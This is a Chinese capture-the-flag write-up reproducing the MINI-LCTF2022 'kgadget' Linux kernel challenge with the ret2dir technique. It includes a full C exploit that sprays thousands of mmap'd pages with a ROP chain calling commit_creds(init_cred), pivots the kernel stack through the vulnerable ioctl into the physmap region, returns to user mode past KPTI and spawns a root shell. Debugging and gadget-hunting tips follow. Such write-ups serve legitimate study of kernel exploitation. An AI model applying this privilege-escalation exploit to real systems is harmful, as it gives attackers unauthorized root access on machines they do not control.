MINI-LCTF2022 kgadget复现 ret2dir

2022-10-13

PS:请观看完linux内核基础 二后练习该题

题目分析

只有kgadget_ioctl有用
但是它的代码其实不太对劲,需要我们自己看汇编
主要思路是,cmd=114514后,可以通过param(v3 rdx)传入的指针获得函数地址,随后调用
可以看到,它对pt_regs的其他值做了限制,导致你只能使用r8 r9两个寄存器
, 该题目利用了direct mapping of all physical memory的漏洞,通过mmap大量的用户态内存地址,写入同样的payload,(使用栈迁移stack migration技术将栈转移到rop_chain中)在物理内存映射区里选择一个地址,有很大的概率会命中rop_chain,最终完成利用。
详细细节可以看arttnba3的blog

exp

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

size_t commit_creds=0;
size_t prepare_kernel_cred =0;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void){
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }
    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

//ret2usr
void get_root_privilege(){
    //printf("use ret2usr\n"); //don't use user func in kernel space!
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

int fd;
size_t page_size;
size_t * ptr_buff[15000];
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t init_cred = 0xFFFFFFFF82A6B700; 
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00FCB;
size_t try_hit ; 

void make_rop_chain(size_t * addr){
    int i;
    for(i=0;i<(page_size/8-0x30);i++){
        addr[i]= add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
    }
    for (; i < (page_size / 8 - 0x10); i++)
        addr[i] = ret;
    addr[i++] = pop_rdi_ret;
    addr[i++] = init_cred;
    addr[i++] = commit_creds;
    addr[i++] = swapgs_restore_regs_and_return_to_usermode;
    addr[i++] =  *(size_t*) "wsxkwsxk";
    addr[i++] = *(size_t*) "wsxkwsxk";
    addr[i++] = get_root_shell;
    addr[i++] = user_cs;
    addr[i++] = user_rflags;
    addr[i++] = user_sp;
    addr[i++] = user_ss;
}

int main(){
    commit_creds = 0xFFFFFFFF810C92E0;
    save_status();
    fd = open("/dev/kgadget",O_RDWR);
    if(fd<0){
        printf("error in open device!\n");
    }
    page_size  = sysconf(_SC_PAGESIZE);
    printf("start test\n");
    ptr_buff[0]=mmap(NULL,page_size,PROT_WRITE|PROT_READ,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
    make_rop_chain(ptr_buff[0]);
    int i ;
    for(i=1;i<15000;i++){
        ptr_buff[i]=mmap(NULL,page_size,PROT_WRITE|PROT_READ,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
        if(!ptr_buff[i]){
            printf("mmap fail!\n");
            exit(-2);
        }
        memcpy(ptr_buff[i],ptr_buff[0],page_size);
        //make_rop_chain(ptr_buff[i]);
    }
    printf("start attack!\n");
    try_hit = 0xffff888000000000 + 0x7000000;//this addr comes from the layout of linux mem
    __asm__(
        "mov r15,0x11111111;"
        "mov r14,0x22222222;"
        "mov r13,0x33333333;"
        "mov r12,0x44444444;"
        "mov rbp,0x55555555;"
        "mov rbx,0x66666666;"
        "mov r11,0x77777777;"
        "mov r10,0x88888888;"
        "mov r9,pop_rsp_ret;"
        "mov r8,try_hit;"
        "mov rax,0x10;"
        "mov rcx,0xcccccccc;"
        "mov rdx,try_hit;"
        "mov rsi,0x1BF52;"
        "mov rdi,fd;"
        "syscall"
    );
    return 0;
}

遇到的坑

1.新的获取vmlinux工具

github搜索 vmlinux-to-elf
可以安装该工具,能够成功提取出可供ida分析的内核文件

vmlinux-to-elf input_file output_file

2.ROPgadget搜索不全

github安装ropper

ropper --clear-cache
ropper -f vmlinux --nocolor > gadget.txt

3.gdb用法

gdb vmlinux
add-symbol-file xxx.ko addr -s .data addr -s .bss addr (addr内核root权限通过 cat /sys/module/xxx.ko/sections/.text .data .bss获得)
target remote :1234
b entry_SYSCALL_64 #可以在执行syscall后进行调试

4. ret、retf、iretq、iret

call 对于 ret(pop rip)
call far 对于 retf(从栈顶弹出 EIP » CS » EFLAGS » ESP » SS)
iret(4字节) iretq(8字节版本)

5.使用swapgs_restore_regs_and_return_to_usermode

因为开启了kpti保护

reference

arttnba3的blog
https://blog.csdn.net/qq_50332504/article/details/124145581